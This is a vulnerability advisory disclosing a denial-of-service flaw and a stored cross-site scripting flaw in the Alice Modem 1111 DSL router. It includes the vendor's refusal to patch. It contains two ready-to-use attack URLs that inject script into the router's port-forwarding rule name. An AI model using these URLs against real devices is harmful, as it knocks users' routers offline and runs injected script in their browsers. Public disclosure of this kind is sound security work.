Alice Modem 1111 Cross Site Scripting / Denial Of Service

`German ISP 'Alice' has been shipping custom embedded devices (DSL  
modems/routers etc.) for the past few years. Their first self-branded  
DSL modem, Alice Modem 1111, using firmware version 4.19, is prone to at  
least the following two security vulnerabilities (after it has passed  
initial configuration).  
  
1. Denial of Service (DoS) via HTTP GET:  
http://alice.box/natAdd?apptype=userdefined&rulename=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=99  
  
After accessing this URL, the modem fails to accept any additional  
connections via any of the protocols it supports (incl. telnet). The web  
interface is only available from within the LAN, but an insecure  
redirect from the Internet would work to exploit this.  
  
  
2. Cross Site Scripting (XSS)  
http://alice.box/natAdd?apptype=userdefined&rulename=%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cx+y=&waninterface=ipwan&inthostip1=192&inthostip2=168&inthostip3=1&inthostip4=199&protocol1=proto_6&extportstart1=1&extportend1=1&intportstart1=1&intportend1=1&protocol2=proto_6&extportstart2=&extportend2=&intportstart2=&intportend2=&protocol3=proto_6&extportstart3=&extportend3=&intportstart3=&intportend3=  
  
Accessing this URL via HTTP GET or POST makes the router set a port  
forwarding rule whose label ('rulename') contains javascript code. Due  
to lack of (server side) input validation, this code is run in the web  
browser. Once set, additional requests to the listing of port forwarding  
rules at  
http://alice.box/webconfig/portforwarding/main_portforwarding.html  
will cause the javascript code to be executed, and may trigger cross  
site scripting.  
  
  
Telefonica Germany, previously Hansenet Telekommunication, has been  
notified about these issues multiple times starting 2011-03-01. One day  
later, I received a response indicating this model is no longer being  
shipped and that there will be no fix for it. Additional attempts to get  
in touch, explaining that this does not help any of the clients who are  
already using this device, were not responded to (other than by  
confirming receipt).  
  
The same ISP has their 'secure' client area accessed via  
https://www.alice-dsl.de which has obvious implementation flaws:  
https://www.ssllabs.com/ssldb/analyze.html?d=www.alice-dsl.de  
(which I notified the company about on 2010-12-20)  
  
Moritz Naumann  
--   
Naumann IT Security Consulting  
Samariterstr. 16  
10247 Berlin  
Germany  
  
  
`